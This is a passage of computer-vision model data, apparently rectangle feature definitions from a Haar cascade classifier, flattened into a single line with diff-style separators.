5 1 5 2. + <_> + + <_> + 9 10 2 2 -1. + <_> + 9 11 2 1 2. + <_> + + <_> + 2 8 15 3 -1. + <_> + 2 9 15 1 3. + <_> + + <_> + 8 13 4 3 -1. + <_> + 8 14 4 1 3. + <_> + + <_> + 7 2 3 2 -1. + <_> + 8 2 1 2 3. + <_> + + <_> + 7 13 6 3 -1. + <_> + 7 14 6 1 3. + <_> + + <_> + 9 9 2 2 -1. + <_> + 9 10 2 1 2. + <_> + + <_> + 17 2 3 6 -1. + <_> + 17 4 3 2 3. + <_> + + <_> + 1 5 3 4 -1. + <_> + 2 5 1 4 3. + <_> + + <_> + 14 8 4 6 -1. + <_> + 14 10 4 2 3. + <_> + + <_> + 1 4 3 8 -1. + <_> + 2 4 1 8 3. + <_> + + <_> + 8 13 4 6 -1. + <_> + 8 16 4 3 2. + <_> + + <_> + 3 14 2 2 -1. + <_> + 3 15 2 1 2. + <_> + + <_> + 14 8 4 6 -1. + <_> + 14 10 4 2 3. + <_> + + <_> + 2 8 4 6 -1. + <_> + 2 10 4 2 3. + <_> + + <_> + 10 14 1 6 -1. + <_> + 10 17 1 3 2. + <_> + + <_> + 7 5 3 6 -1. + <_> + 8 5 1 6 3. + <_> + + <_> + 11 2 2 6 -1. + <_> + 12 2 1 3 2. + <_> + 11 5 1 3 2. + <_> + + <_> + 6 6 6 5 -1. + <_> + 8 6 2 5 3. + <_> + + <_> + 17 1 3 6 -1. + <_> + 17 3 3 2 3. + <_> + + <_> + 8 7 3 5 -1. + <_> + 9 7 1 5 3. + <_> + + <_> + 9 18 3 2 -1. + <_> + 10 18 1 2 3. + <_> + + <_> + 8 18 3 2 -1. + <_> + 9 18 1 2 3. + <_> + + <_> + 12 3 5 2 -1. + <_> + 12 4 5 1 2. + <_> + + <_> + 7 1 5 12 -1. + <_> + 7 7 5 6 2. + <_> + + <_> + 1 0 18 4 -1. + <_> + 7 0 6 4 3. + <_> + + <_> + 4 2 2 2 -1. + <_> + 4 3 2 1 2. + <_> + + <_> + 11 14 4 2 -1. + <_> + 13 14 2 1 2. + <_> + 11 15 2 1 2. + <_> + + <_> + 0 2 3 6 -1. + <_> + 0 4 3 2 3. + <_> + + <_> + 9 7 2 3 -1. + <_> + 9 8 2 1 3. + <_> + + <_> + 5 5 1 3 -1. + <_> + 5 6 1 1 3. + <_> + + <_> + 10 10 6 1 -1. + <_> + 10 10 3 1 2. + <_> + + <_> + 4 10 6 1 -1. + <_> + 7 10 3 1 2. + <_> + + <_> + 9 17 3 3 -1. + <_> + 9 18 3 1 3. + <_> + + <_> + 4 14 1 3 -1. + <_> + 4 15 1 1 3. + <_> + + <_> + 12 5 3 3 -1. + <_> + 12 6 3 1 3. + <_> + + <_> + 4 5 12 3 -1. + <_> + 4 6 12 1 3. + <_> + + <_> + 9 8 2 3 -1. + <_> + 9 9 2 1 3. + <_> + + <_> + 4 9 3 3 -1. + <_> + 5 9 1 3 3. + <_> + + <_> + 6 0 9 17 -1. + <_> + 9 0 3 17 3. + <_> + + <_> + 9 12 1 3 -1. + <_> + 9 13 1 1 3. + <_> + + <_> + 9 5 2 15 -1. + <_> + 9 10 2 5 3. + <_> + + <_> + 8 14 2 3 -1. + <_> + 8 15 2 1 3. + <_> + + <_> + 10 14 1 3 -1. + <_> + 10 15 1 1 3. + <_> + + <_> + 7 1 6 5 -1. + <_> + 9 1 2 5 3. + <_> + + <_> + 0 0 20 2 -1. + <_> + 0 0 10 2 2. + <_> + + <_> + 2 13 5 3 -1. + <_> + 2 14 5 1 3. + <_> + + <_> + 9 11 2 3 -1. + <_> + 9 12 2 1 3. + <_> + + <_> + 2 5 9 15 -1. + <_> + 2 10 9 5 3. + <_> + + <_> + 5 0 12 10 -1. + <_> + 11 0 6 5 2. + <_> + 5 5 6 5 2. + <_> + + <_> + 5 1 2 3 -1. + <_> + 6 1 1 3 2. + <_> + + <_> + 10 7 6 1 -1. + <_> + 12 7 2 1 3. + <_> + + <_> + 3 1 2 10 -1. + <_> + 3 1 1 5 2. + <_> + 4 6 1 5 2. + <_> + + <_> + 13 7 2 1 -1. + <_> + 13 7 1 1 2. + <_> + + <_> + 4 13 4 6 -1. + <_> + 4 15 4 2 3. + <_> + + <_> + 13 7 2 1 -1. + <_> + 13 7 1 1 2. + <_> + + <_> + 5 7 2 1 -1. + <_> + 6 7 1 1 2. + <_> + + <_> + 2 12 18 4 -1. + <_> + 11 12 9 2 2. + <_> + 2 14 9 2 2. + <_> + + <_> + 5 7 2 2 -1. + <_> + 5 7 1 1 2. + <_> + 6 8 1 1 2. + <_> + + <_> + 16 3 4 2 -1. + <_> + 16 4 4 1 2. + <_> + + <_> + 0 2 2 18 -1. + <_> + 0 2 1 9 2. + <_> + 1 11 1 9 2. + <_> + + <_> + 1 2 18 4 -1. + <_> + 10 2 9 2 2. + <_> + 1 4 9 2 2. + <_> + + <_> + 9 14 1 3 -1. + <_> + 9 15 1 1 3. + <_> + + <_> + 2 12 18 4 -1. + <_> + 11 12 9 2 2. + <_> + 2 14 9 2 2. + <_> + + <_> + 0 12 18 4 -1. + <_> + 0 12 9 2 2. + <_> + 9 14 9 2 2. + <_> + + <_> + 11 4 5 3 -1. + <_> + 11 5 5 1 3. + <_> + + <_> + 6 4 7 3 -1. + <_> + 6 5 7 1 3. + <_> + + <_> + 13 17 3 3 -1. + <_> + 13 18 3 1 3. + <_> + + <_> + 8 1 3 4 -1. + <_> + 9 1 1 4 3. + <_> + + <_> + 11 4 2 4 -1. + <_> + 11 4 1 4 2. + <_> + + <_> + 0 17 9 3 -1. + <_> + 3 17 3 3 3. + <_> + + <_> + 11 0 2 8 -1. + <_> + 12 0 1 4 2. + <_> + 11 4 1 4 2. + <_> + + <_> + 0 8 6 12 -1. + <_> + 0 8 3 6 2. + <_> + 3 14 3 6 2. + <_> + + <_> + 10 7 4 12 -1. + <_> + 10 13 4 6 2. + <_> + + <_> + 5 3 8 14 -1. + <_> + 5 10 8 7 2. + <_> + + <_> + 14 10 6 1 -1. + <_> + 14 10 3 1 2. + <_> + + <_> + 0 4 10 4 -1. + <_> + 0 6 10 2 2. + <_> + + <_> + 10 0 5 8 -1. + <_> + 10 4 5 4 2. + <_> + + <_> + 8 1 4 8 -1. + <_> + 8 1 2 4 2. + <_> + 10 5 2 4 2. + <_> + + <_> + 9 11 6 1 -1. + <_> + 11 11 2 1 3. + <_> + + <_> + 8 9 3 4 -1. + <_> + 9 9 1 4 3. + <_> + + <_> + 18 4 2 6 -1. + <_> + 18 6 2 2 3. + <_> + + <_> + 8 8 3 4 -1. + <_> + 9 8 1 4 3. + <_> + + <_> + 7 1 13 3 -1. + <_> + 7 2 13 1 3. + <_> + + <_> + 7 13 6 1 -1. + <_> + 9 13 2 1 3. + <_> + + <_> + 12 11 3 6 -1. + <_> + 12 13 3 2 3. + <_> + + <_> + 5 11 6 1 -1. + <_> + 7 11 2 1 3. + <_> + + <_> + 1 4 18 10 -1. + <_> + 10 4 9 5 2. + <_> + 1 9 9 5 2. + <_> + + <_> + 8 6 4 9 -1. + <_> + 8 9 4 3 3. + <_> + + <_> + 8 6 4 3 -1. + <_> + 8 7 4 1 3. + <_> + + <_> + 8 7 3 3 -1. + <_> + 9 7 1 3 3. + <_> + + <_> + 14 15 4 3 -1. + <_> + 14 16 4 1 3. + <_> + + <_> + 5 10 3 10 -1. + <_> + 6 10 1 10 3. + <_> + + <_> + 8 15 4 3 -1. + <_> + 8 16 4 1 3. + <_> + + <_> + 0 8 1 6 -1. + <_> + 0 10 1 2 3. + <_> + + <_> + 10 15 1 3 -1. + <_> + 10 16 1 1 3. + <_> + + <_> + 2 15 4 3 -1. + <_> + 2 16 4 1 3. + <_> + + <_> + 18 3 2 8 -1. + <_> + 19 3 1 4 2. + <_> + 18 7 1 4 2. + <_> + + <_> + 0 3 2 8 -1. + <_> + 0 3 1 4 2. + <_> + 1 7 1 4 2. + <_> + + <_> + 3 7 14 10 -1. + <_> + 10 7 7 5 2. + <_> + 3 12 7 5 2. + <_> + + <_> + 0 7 19 3 -1. + <_> + 0 8 19 1 3. + <_> + + <_> + 12 6 3 3 -1. + <_> + 12 7 3 1 3. + <_> + + <_> + 0 6 1 3 -1. + <_> + 0 7 1 1 3. + <_> + + <_> + 12 6 3 3 -1. + <_> + 12 7 3 1 3. + <_> + + <_> + 5 6 3 3 -1. + <_> + 5 7 3 1 3. + <_> + + <_> + 8 2 4 2 -1. + <_> + 8 3 4 1 2. + <_> + + <_> + 6 3 4 12 -1. + <_> + 8 3 2 12 2. + <_> + + <_> + 13 6 2 3 -1. + <_> + 13 7 2 1 3. + <_> + + <_> + 0 10 20 4 -1. + <_> + 0 12 20 2 2. + <_> + + <_> + 2 0 17 14 -1. + <_> + 2 7 17 7 2. + <_> + + <_> + 0 0 6 10 -1. + <_> + 0 0 3 5 2. + <_> + 3 5 3 5 2. + <_> + + <_> + 14 6 6 4 -1. + <_> + 14 6 3 4 2. + <_> + + <_> + 0 6 6 4 -1. + <_> + 3 6 3 4 2. + <_> + + <_> + 13 2 7 2 -1. + <_> + 13 3 7 1 2. + <_> + + <_> + 0 2 7 2 -1. + <_> + 0 3 7 1 2. + <_> + + <_> + 6 11 14 2 -1. + <_> + 13 11 7 1 2. + <_> + 6 12 7 1 2. + <_> + + <_> + 8 5 2 2 -1. + <_> + 8 5 1 1 2. + <_> + 9 6 1 1 2. + <_> + + <_> + 13 9 2 3 -1. + <_> + 13 9 1 3 2. + <_> + + <_> + 1 1 3 12 -1. + <_> + 2 1 1 12 3. + <_> + + <_> + 17 4 1 3 -1. + <_> + 17 5 1 1 3. + <_> + + <_> + 2 4 1 3 -1. + <_> + 2 5 1 1 3. + <_> + + <_> + 14 5 1 3 -1. + <_> + 14 6 1 1 3. + <_> + + <_> + 7 16 2 3 -1. + <_> + 7 17 2 1 3. + <_> + + <_> + 8 13 4 6 -1. + <_> + 10 13 2 3 2. + <_> + 8 16 2 3 2. + <_> + + <_> + 5 5 1 3 -1. + <_> + 5 6 1 1 3. + <_> + + <_> + 16 0 4 20 -1. + <_> + 16 0 2 20 2. + <_> + + <_> + 5 1 2 6 -1. + <_> + 5 1 1 3 2. + <_> + 6 4 1 3 2. + <_> + + <_> + 5 4 10 4 -1. + <_> + 5 6 10 2 2. + <_> + + <_> + 15 2 4 12 -1. + <_> + 15 2 2 12 2. + <_> + + <_> + 7 6 4 12 -1. + <_> + 7 12 4 6 2. + <_> + + <_> + 14 5 1 8 -1. + <_> + 14 9 1 4 2. + <_> + + <_> + 1 4 14 10 -1. + <_> + 1 4 7 5 2. + <_> + 8 9 7 5 2. + <_> + + <_> + 11 6 6 14 -1. + <_> + 14 6 3 7 2. + <_> + 11 13 3 7 2. + <_> + + <_> + 3 6 6 14 -1. + <_> + 3 6 3 7 2. + <_> + 6 13 3 7 2. + <_> + + <_> + 4 9 15 2 -1. + <_> + 9 9 5 2 3. + <_> + + <_> + 7 14 6 3 -1. + <_> + 7 15 6 1 3. + <_> + + <_> + 6 3 14 4 -1. + <_> + 13 3 7 2 2. + <_> + 6 5 7 2 2. + <_> + + <_> + 1 9 15 2 -1. + <_> + 6 9 5 2 3. + <_> + + <_> + 6 11 8 9 -1. + <_> + 6 14 8 3 3. + <_> + + <_> + 7 4 3 8 -1. + <_> + 8 4 1 8 3. + <_> + + <_> + 14 6 2 6 -1. + <_> + 14 9 2 3 2. + <_> + + <_> + 5 7 6 4 -1. + <_> + 5 7 3 2 2. + <_> + 8 9 3 2 2. + <_> + + <_> + 1 1 18 19 -1. + <_> + 7 1 6 19 3. + <_> + + <_> + 1 2 6 5 -1. + <_> + 4 2 3 5 2. + <_> + + <_> + 12 17 6 2 -1. + <_> + 12 18 6 1 2. + <_> + + <_> + 2 17 6 2 -1. + <_> + 2 18 6 1 2. + <_> + + <_> + 17 3 3 6 -1. + <_> + 17 5 3 2 3. + <_> + + <_> + 8 17 3 3 -1. + <_> + 8 18 3 1 3. + <_> + + <_> + 10 13 2 6 -1. + <_> + 10 16 2 3 2. + <_> + + <_> + 7 13 6 3 -1. + <_> + 7 14 6 1 3. + <_> + + <_> + 17 3 3 6 -1. + <_> + 17 5 3 2 3. + <_> + + <_> + 8 13 2 3 -1. + <_> + 8 14 2 1 3. + <_> + + <_> + 9 3 6 2 -1. + <_> + 11 3 2 2 3. + <_> + + <_> + 0 3 3 6 -1. + <_> + 0 5 3 2 3. + <_> + + <_> + 8 5 4 6 -1. + <_> + 8 7 4 2 3. + <_> + + <_> + 5 5 3 2 -1. + <_> + 5 6 3 1 2. + <_> + + <_> + 10 1 3 4 -1. + <_> + 11 1 1 4 3. + <_> + + <_> + 1 2 5 9 -1. + <_> + 1 5 5 3 3. + <_> + + <_> + 13 6 2 3 -1. + <_> + 13 7 2 1 3. + <_> + + <_> + 0 6 14 3 -1. + <_> + 7 6 7 3 2. + <_> + + <_> + 2 11 18 8 -1. + <_> + 2 15 18 4 2. + <_> + + <_> + 5 6 2 3 -1. + <_> + 5 7 2 1 3. + <_> + + <_> + 10 6 4 2 -1. + <_> + 12 6 2 1 2. + <_> + 10 7 2 1 2. + <_> + + <_> + 6 6 4 2 -1. + <_> + 6 6 2 1 2. + <_> + 8 7 2 1 2. + <_> + + <_> + 10 1 3 4 -1. + <_> + 11 1 1 4 3. + <_> + + <_> + 7 1 2 7 -1. + <_> + 8 1 1 7 2. + <_> + + <_> + 4 2 15 14 -1. + <_> + 4 9 15 7 2. + <_> + + <_> + 8 7 3 2 -1. + <_> + 9 7 1 2 3. + <_> + + <_> + 2 3 18 4 -1. + <_> + 11 3 9 2 2. + <_> + 2 5 9 2 2. + <_> + + <_> + 9 7 2 2 -1. + <_> + 10 7 1 2 2. + <_> + + <_> + 13 9 2 3 -1. + <_> + 13 9 1 3 2. + <_> + + <_> + 5 2 6 2 -1. + <_> + 7 2 2 2 3. + <_> + + <_> + 9 5 2 7 -1. + <_> + 9 5 1 7 2. + <_> + + <_> + 5 9 2 3 -1. + <_> + 6 9 1 3 2. + <_> + + <_> + 6 0 14 18 -1. + <_> + 6 9 14 9 2. + <_> + + <_> + 2 16 6 3 -1. + <_> + 2 17 6 1 3. + <_> + + <_> + 9 7 3 6 -1. + <_> + 10 7 1 6 3. + <_> + + <_> + 7 8 4 3 -1. + <_> + 7 9 4 1 3. + <_> + + <_> + 7 12 6 3 -1. + <_> + 7 13 6 1 3. + <_> + + <_> + 9 12 2 3 -1. + <_> + 9 13 2 1 3. + <_> + + <_> + 7 12 6 2 -1. + <_> + 9 12 2 2 3. + <_> + + <_> + 5 11 4 6 -1. + <_> + 5 14 4 3 2. + <_> + + <_> + 11 12 7 2 -1. + <_> + 11 13 7 1 2. + <_> + + <_> + 6 10 8 6 -1. + <_> + 6 10 4 3 2. + <_> + 10 13 4 3 2. + <_> + + <_> + 11 10 3 4 -1. + <_> + 11 12 3 2 2. + <_> + + <_> + 9 16 2 3 -1. + <_> + 9 17 2 1 3. + <_> + + <_> + 13 3 1 9 -1. + <_> + 13 6 1 3 3. + <_> + + <_> + 1 13 14 6 -1. + <_> + 1 15 14 2 3. + <_> + + <_> + 13 6 1 6 -1. + <_> + 13 9 1 3 2. + <_> + + <_> + 0 4 3 8 -1. + <_> + 1 4 1 8 3. + <_> + + <_> + 18 0 2 18 -1. + <_> + 18 0 1 18 2. + <_> + + <_> + 2 3 6 2 -1. + <_> + 2 4 6 1 2. + <_> + + <_> + 9 0 8 6 -1. + <_> + 9 2 8 2 3. + <_> + + <_> + 6 6 1 6 -1. + <_> + 6 9 1 3 2. + <_> + + <_> + 14 8 6 3 -1. + <_> + 14 9 6 1 3. + <_> + + <_> + 0 0 2 18 -1. + <_> + 1 0 1 18 2. + <_> + + <_> + 1 18 18 2 -1. + <_> + 10 18 9 1 2. + <_> + 1 19 9 1 2. + <_> + + <_> + 3 15 2 2 -1. + <_> + 3 16 2 1 2. + <_> + + <_> + 8 14 5 3 -1. + <_> + 8 15 5 1 3. + <_> + + <_> + 8 14 2 3 -1. + <_> + 8 15 2 1 3. + <_> + + <_> + 12 3 3 3 -1. + <_> + 13 3 1 3 3. + <_> + + <_> + 7 5 6 2 -1. + <_> + 9 5 2 2 3. + <_> + + <_> + 15 5 5 2 -1. + <_> + 15 6 5 1 2. + <_> + + <_> + 0 5 5 2 -1. + <_> + 0 6 5 1 2. + <_> + + <_> + 17 14 1 6 -1. + <_> + 17 17 1 3 2. + <_> + + <_> + 2 9 9 3 -1. + <_> + 5 9 3 3 3. + <_> + + <_> + 12 3 3 3 -1. + <_> + 13 3 1 3 3. + <_> + + <_> + 0 0 4 18 -1. + <_> + 2 0 2 18 2. + <_> + + <_> + 17 6 1 3 -1. + <_> + 17 7 1 1 3. + <_> + + <_> + 2 14 1 6 -1. + <_> + 2 17 1 3 2. + <_> + + <_> + 19 8 1 2 -1. + <_> + 19 9 1 1 2. + <_> + + <_> + 5 3 3 3 -1. + <_> + 6 3 1 3 3. + <_> + + <_> + 9 16 2 3 -1. + <_> + 9 17 2 1 3. + <_> + + <_> + 2 6 1 3 -1. + <_> + 2 7 1 1 3. + <_> + + <_> + 12 4 8 2 -1. + <_> + 16 4 4 1 2. + <_> + 12 5 4 1 2. + <_> + + <_> + 0 4 8 2 -1. + <_> + 0 4 4 1 2. + <_> + 4 5 4 1 2. + <_> + + <_> + 2 16 18 4 -1. + <_> + 2 18 18 2 2. + <_> + + <_> + 7 15 2 4 -1. + <_> + 7 17 2 2 2. + <_> + + <_> + 4 0 14 3 -1. + <_> + 4 1 14 1 3. + <_> + + <_> + 0 0 4 20 -1. + <_> + 2 0 2 20 2. + <_> + + <_> + 12 4 4 8 -1. + <_> + 14 4 2 4 2. + <_> + 12 8 2 4 2. + <_> + + <_> + 6 7 2 2 -1. + <_> + 6 7 1 1 2. + <_> + 7 8 1 1 2. + <_> + + <_> + 10 6 2 3 -1. + <_> + 10 7 2 1 3. + <_> + + <_> + 8 7 3 2 -1. + <_> + 8 8 3 1 2. + <_> + + <_> + 8 2 6 12 -1. + <_> + 8 8 6 6 2. + <_> + + <_> + 4 0 11 12 -1. + <_> + 4 4 11 4 3. + <_> + + <_> + 14 9 6 11 -1. + <_> + 16 9 2 11 3. + <_> + + <_> + 0 14 4 3 -1. + <_> + 0 15 4 1 3. + <_> + + <_> + 9 10 2 3 -1. + <_> + 9 11 2 1 3. + <_> + + <_> + 5 11 3 2 -1. + <_> + 5 12 3 1 2. + <_> + + <_> + 9 15 3 3 -1. + <_> + 10 15 1 3 3. + <_> + + <_> + 8 8 3 4 -1. + <_> + 9 8 1 4 3. + <_> + + <_> + 9 15 3 3 -1. + <_> + 10 15 1 3 3. + <_> + + <_> + 7 7 3 2 -1. + <_> + 8 7 1 2 3. + <_> + + <_> + 2 10 16 4 -1. + <_> + 10 10 8 2 2. + <_> + 2 12 8 2 2. + <_> + + <_> + 2 3 4 17 -1. + <_> + 4 3 2 17 2. + <_> + + <_> + 15 13 2 7 -1. + <_> + 15 13 1 7 2. + <_> + + <_> + 2 2 6 1 -1. + <_> + 5 2 3 1 2. + <_> + + <_> + 5 2 12 4 -1. + <_> + 9 2 4 4 3. + <_> + + <_> + 6 0 8 12 -1. + <_> + 6 0 4 6 2. + <_> + 10 6 4 6 2. + <_> + + <_> + 13 7 2 2 -1. + <_> + 14 7 1 1 2. + <_> + 13 8 1 1 2. + <_> + + <_> + 0 12 20 6 -1. + <_> + 0 14 20 2 3. + <_> + + <_> + 14 7 2 3 -1. + <_> + 14 7 1 3 2. + <_> + + <_> + 0 8 9 12 -1. + <_> + 3 8 3 12 3. + <_> + + <_> + 3 0 16 2 -1. + <_> + 3 0 8 2 2. + <_> + + <_> + 6 15 3 3 -1. + <_> + 6 16 3 1 3. + <_> + + <_> + 8 15 6 3 -1. + <_> + 8 16 6 1 3. + <_> + + <_> + 0 10 1 6 -1. + <_> + 0 12 1 2 3. + <_> + + <_> + 10 9 4 3 -1. + <_> + 10 10 4 1 3. + <_> + + <_> + 9 15 2 3 -1. + <_> + 9 16 2 1 3. + <_> + + <_> + 5 7 10 1 -1. + <_> + 5 7 5 1 2. + <_> + + <_> + 4 0 12 19 -1. + <_> + 10 0 6 19 2. + <_> + + <_> + 0 6 20 6 -1. + <_> + 10 6 10 3 2. + <_> + 0 9 10 3 2. + <_> + + <_> + 3 6 2 2 -1. + <_> + 3 6 1 1 2. + <_> + 4 7 1 1 2. + <_> + + <_> + 15 6 2 2 -1. + <_> + 16 6 1 1 2. + <_> + 15 7 1 1 2. + <_> + + <_> + 3 6 2 2 -1. + <_> + 3 6 1 1 2. + <_> + 4 7 1 1 2. + <_> + + <_> + 14 4 1 12 -1. + <_> + 14 10 1 6 2. + <_> + + <_> + 2 5 16 10 -1. + <_> + 2 5 8 5 2. + <_> + 10 10 8 5 2. + <_> + + <_> + 9 17 3 2 -1. + <_> + 10 17 1 2 3. + <_> + + <_> + 1 4 2 2 -1. + <_> + 1 5 2 1 2. + <_> + + <_> + 5 0 15 5 -1. + <_> + 10 0 5 5 3. + <_> + + <_> + 0 0 15 5 -1. + <_> + 5 0 5 5 3. + <_> + + <_> + 11 2 2 17 -1. + <_> + 11 2 1 17 2. + <_> + + <_> + 7 2 2 17 -1. + <_> + 8 2 1 17 2. + <_> + + <_> + 15 11 2 9 -1. + <_> + 15 11 1 9 2. + <_> + + <_> + 3 11 2 9 -1. + <_> + 4 11 1 9 2. + <_> + + <_> + 5 16 14 4 -1. + <_> + 5 16 7 4 2. + <_> + + <_> + 1 4 18 1 -1. + <_> + 7 4 6 1 3. + <_> + + <_> + 13 7 6 4 -1. + <_> + 16 7 3 2 2. + <_> + 13 9 3 2 2. + <_> + + <_> + 9 8 2 12 -1. + <_> + 9 12 2 4 3. + <_> + + <_> + 12 1 6 6 -1. + <_> + 12 3 6 2 3. + <_> + + <_> + 5 2 6 6 -1. + <_> + 5 2 3 3 2. + <_> + 8 5 3 3 2. + <_> + + <_> + 9 16 6 4 -1. + <_> + 12 16 3 2 2. + <_> + 9 18 3 2 2. + <_> + + <_> + 1 2 18 3 -1. + <_> + 7 2 6 3 3. + <_> + + <_> + 7 4 9 10 -1. + <_> + 7 9 9 5 2. + <_> + + <_> + 5 9 4 4 -1. + <_> + 7 9 2 4 2. + <_> + + <_> + 11 10 3 6 -1. + <_> + 11 13 3 3 2. + <_> + + <_> + 7 11 5 3 -1. + <_> + 7 12 5 1 3. + <_> + + <_> + 7 11 6 6 -1. + <_> + 10 11 3 3 2. + <_> + 7 14 3 3 2. + <_> + + <_> + 0 0 10 9 -1. + <_> + 0 3 10 3 3. + <_> + + <_> + 13 14 1 6 -1. + <_> + 13 16 1 2 3. + <_> + + <_> + 0 2 3 6 -1. + <_> + 0 4 3 2 3. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 6 14 1 6 -1. + <_> + 6 16 1 2 3. + <_> + + <_> + 9 15 2 3 -1. + <_> + 9 16 2 1 3. + <_> + + <_> + 6 4 3 3 -1. + <_> + 7 4 1 3 3. + <_> + + <_> + 9 0 11 3 -1. + <_> + 9 1 11 1 3. + <_> + + <_> + 0 6 20 3 -1. + <_> + 0 7 20 1 3. + <_> + + <_> + 10 1 1 2 -1. + <_> + 10 2 1 1 2. + <_> + + <_> + 9 6 2 6 -1. + <_> + 10 6 1 6 2. + <_> + + <_> + 5 8 12 1 -1. + <_> + 9 8 4 1 3. + <_> + + <_> + 3 8 12 1 -1. + <_> + 7 8 4 1 3. + <_> + + <_> + 9 7 3 5 -1. + <_> + 10 7 1 5 3. + <_> + + <_> + 3 9 6 2 -1. + <_> + 6 9 3 2 2. + <_> + + <_> + 12 9 3 3 -1. + <_> + 12 10 3 1 3. + <_> + + <_> + 7 0 6 1 -1. + <_> + 9 0 2 1 3. + <_> + + <_> + 12 9 3 3 -1. + <_> + 12 10 3 1 3. + <_> + + <_> + 7 10 2 1 -1. + <_> + 8 10 1 1 2. + <_> + + <_> + 6 4 9 13 -1. + <_> + 9 4 3 13 3. + <_> + + <_> + 6 8 4 2 -1. + <_> + 6 9 4 1 2. + <_> + + <_> + 16 2 4 6 -1. + <_> + 16 2 2 6 2. + <_> + + <_> + 0 17 6 3 -1. + <_> + 0 18 6 1 3. + <_> + + <_> + 10 10 3 10 -1. + <_> + 10 15 3 5 2. + <_> + + <_> + 8 7 3 5 -1. + <_> + 9 7 1 5 3. + <_> + + <_> + 10 4 4 3 -1. + <_> + 10 4 2 3 2. + <_> + + <_> + 8 4 3 8 -1. + <_> + 9 4 1 8 3. + <_> + + <_> + 6 6 9 13 -1. + <_> + 9 6 3 13 3. + <_> + + <_> + 6 0 8 12 -1. + <_> + 6 0 4 6 2. + <_> + 10 6 4 6 2. + <_> + + <_> + 14 2 6 8 -1. + <_> + 16 2 2 8 3. + <_> + + <_> + 6 0 3 6 -1. + <_> + 7 0 1 6 3. + <_> + + <_> + 14 2 6 8 -1. + <_> + 16 2 2 8 3. + <_> + + <_> + 0 5 6 6 -1. + <_> + 0 8 6 3 2. + <_> + + <_> + 9 12 6 2 -1. + <_> + 12 12 3 1 2. + <_> + 9 13 3 1 2. + <_> + + <_> + 8 17 3 2 -1. + <_> + 9 17 1 2 3. + <_> + + <_> + 11 6 2 2 -1. + <_> + 12 6 1 1 2. + <_> + 11 7 1 1 2. + <_> + + <_> + 1 9 18 2 -1. + <_> + 7 9 6 2 3. + <_> + + <_> + 11 6 2 2 -1. + <_> + 12 6 1 1 2. + <_> + 11 7 1 1 2. + <_> + + <_> + 3 4 12 8 -1. + <_> + 7 4 4 8 3. + <_> + + <_> + 13 11 5 3 -1. + <_> + 13 12 5 1 3. + <_> + + <_> + 9 10 2 3 -1. + <_> + 9 11 2 1 3. + <_> + + <_> + 14 7 2 3 -1. + <_> + 14 7 1 3 2. + <_> + + <_> + 5 4 1 3 -1. + <_> + 5 5 1 1 3. + <_> + + <_> + 13 4 2 3 -1. + <_> + 13 5 2 1 3. + <_> + + <_> + 5 4 2 3 -1. + <_> + 5 5 2 1 3. + <_> + + <_> + 9 8 2 3 -1. + <_> + 9 9 2 1 3. + <_> + + <_> + 8 9 2 2 -1. + <_> + 8 10 2 1 2. + <_> + + <_> + 15 14 1 4 -1. + <_> + 15 16 1 2 2. + <_> + + <_> + 3 12 2 2 -1. + <_> + 3 13 2 1 2. + <_> + + <_> + 12 15 2 2 -1. + <_> + 13 15 1 1 2. + <_> + 12 16 1 1 2. + <_> + + <_> + 9 13 2 2 -1. + <_> + 9 14 2 1 2. + <_> + + <_> + 4 11 14 9 -1. + <_> + 4 14 14 3 3. + <_> + + <_> + 7 13 4 3 -1. + <_> + 7 14 4 1 3. + <_> + + <_> + 15 14 1 4 -1. + <_> + 15 16 1 2 2. + <_> + + <_> + 4 14 1 4 -1. + <_> + 4 16 1 2 2. + <_> + + <_> + 14 0 6 13 -1. + <_> + 16 0 2 13 3. + <_> + + <_> + 4 1 2 12 -1. + <_> + 4 1 1 6 2. + <_> + 5 7 1 6 2. + <_> + + <_> + 11 14 6 6 -1. + <_> + 14 14 3 3 2. + <_> + 11 17 3 3 2. + <_> + + <_> + 3 14 6 6 -1. + <_> + 3 14 3 3 2. + <_> + 6 17 3 3 2. + <_> + + <_> + 14 17 3 2 -1. + <_> + 14 18 3 1 2. + <_> + + <_> + 3 17 3 2 -1. + <_> + 3 18 3 1 2. + <_> + + <_> + 14 0 6 13 -1. + <_> + 16 0 2 13 3. + <_> + + <_> + 0 0 6 13 -1. + <_> + 2 0 2 13 3. + <_> + + <_> + 10 10 7 6 -1. + <_> + 10 12 7 2 3. + <_> + + <_> + 6 15 2 2 -1. + <_> + 6 15 1 1 2. + <_> + 7 16 1 1 2. + <_> + + <_> + 6 11 8 6 -1. + <_> + 10 11 4 3 2. + <_> + 6 14 4 3 2. + <_> + + <_> + 7 6 2 2 -1. + <_> + 7 6 1 1 2. + <_> + 8 7 1 1 2. + <_> + + <_> + 2 2 16 6 -1. + <_> + 10 2 8 3 2. + <_> + 2 5 8 3 2. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 11 7 3 10 -1. + <_> + 11 12 3 5 2. + <_> + + <_> + 6 7 3 10 -1. + <_> + 6 12 3 5 2. + <_> + + <_> + 10 7 3 2 -1. + <_> + 11 7 1 2 3. + <_> + + <_> + 8 12 4 2 -1. + <_> + 8 13 4 1 2. + <_> + + <_> + 10 1 1 3 -1. + <_> + 10 2 1 1 3. + <_> + + <_> + 1 2 4 18 -1. + <_> + 1 2 2 9 2. + <_> + 3 11 2 9 2. + <_> + + <_> + 12 4 4 12 -1. + <_> + 12 10 4 6 2. + <_> + + <_> + 0 0 1 6 -1. + <_> + 0 2 1 2 3. + <_> + + <_> + 9 11 2 3 -1. + <_> + 9 12 2 1 3. + <_> + + <_> + 8 7 4 3 -1. + <_> + 8 8 4 1 3. + <_> + + <_> + 10 7 3 2 -1. + <_> + 11 7 1 2 3. + <_> + + <_> + 7 7 3 2 -1. + <_> + 8 7 1 2 3. + <_> + + <_> + 9 4 6 1 -1. + <_> + 11 4 2 1 3. + <_> + + <_> + 8 7 2 3 -1. + <_> + 9 7 1 3 2. + <_> + + <_> + 12 7 8 6 -1. + <_> + 16 7 4 3 2. + <_> + 12 10 4 3 2. + <_> + + <_> + 0 7 8 6 -1. + <_> + 0 7 4 3 2. + <_> + 4 10 4 3 2. + <_> + + <_> + 18 2 2 10 -1. + <_> + 19 2 1 5 2. + <_> + 18 7 1 5 2. + <_> + + <_> + 0 2 6 4 -1. + <_> + 3 2 3 4 2. + <_> + + <_> + 9 4 6 1 -1. + <_> + 11 4 2 1 3. + <_> + + <_> + 7 15 2 2 -1. + <_> + 7 15 1 1 2. + <_> + 8 16 1 1 2. + <_> + 